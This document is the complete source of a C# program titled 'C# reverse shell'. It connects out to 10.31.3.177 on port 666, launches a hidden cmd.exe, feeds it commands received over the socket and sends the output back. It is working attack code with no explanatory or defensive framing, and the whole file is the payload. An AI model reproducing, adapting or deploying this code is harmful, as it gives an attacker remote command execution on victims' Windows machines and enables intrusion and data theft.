C# reverse shell

using System;
using System.Collections.Generic;
using System.Text;
using System.Net.Sockets;
using System.Threading;
using System.IO;
using System.Diagnostics;

namespace NativePayload_ReverseShell
{
    public class Program
    {
        static StreamWriter streamWriter;
        static bool nuevo;

        private static System.Timers.Timer timer;

        public static void Main(string[] args)
        {
            timer = new System.Timers.Timer();
            timer.Interval = 1500;

            timer.Elapsed += OnTimedEvent;
            timer.AutoReset = true;
            timer.Enabled = true;
            timer.Stop();

            nuevo = false;

            using (TcpClient client = new TcpClient("10.31.3.177", 666))
            {
                using (Stream stream = client.GetStream())
                {
                    using (StreamReader rdr = new StreamReader(stream))
                    {
                        streamWriter = new StreamWriter(stream);

                        StringBuilder strInput = new StringBuilder();

                        Process p = new Process();
                        p.StartInfo.FileName = "cmd.exe";
                        p.StartInfo.CreateNoWindow = true;
                        p.StartInfo.UseShellExecute = false;
                        p.StartInfo.RedirectStandardOutput = true;
                        p.StartInfo.RedirectStandardInput = true;
                        p.StartInfo.RedirectStandardError = true;
                        p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
                        p.Start();
                        p.BeginOutputReadLine();

                        while (true)
                        {
                            strInput.Append(rdr.ReadLine());
                            //strInput.Append("\n");
                            p.StandardInput.WriteLine(strInput);
                            strInput.Remove(0, strInput.Length);
                        }
                    }
                }
            }
        }

        static void OnTimedEvent(Object source, System.Timers.ElapsedEventArgs e)
        {
            
            if (!nuevo)
            {
                // primera vez entrando
                nuevo = true;
            }
            else
            {
                // segunda vez entrando
                nuevo = false;
                
            }
        }


        private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
        {
            StringBuilder strOutput = new StringBuilder();

            if (!String.IsNullOrEmpty(outLine.Data))
            {
                try
                {
                    strOutput.Append(outLine.Data);
                    Console.WriteLine(strOutput);
                    streamWriter.WriteLine(strOutput);
                    streamWriter.Flush();
                }
                catch (Exception err) { }
            }
        }
    }
}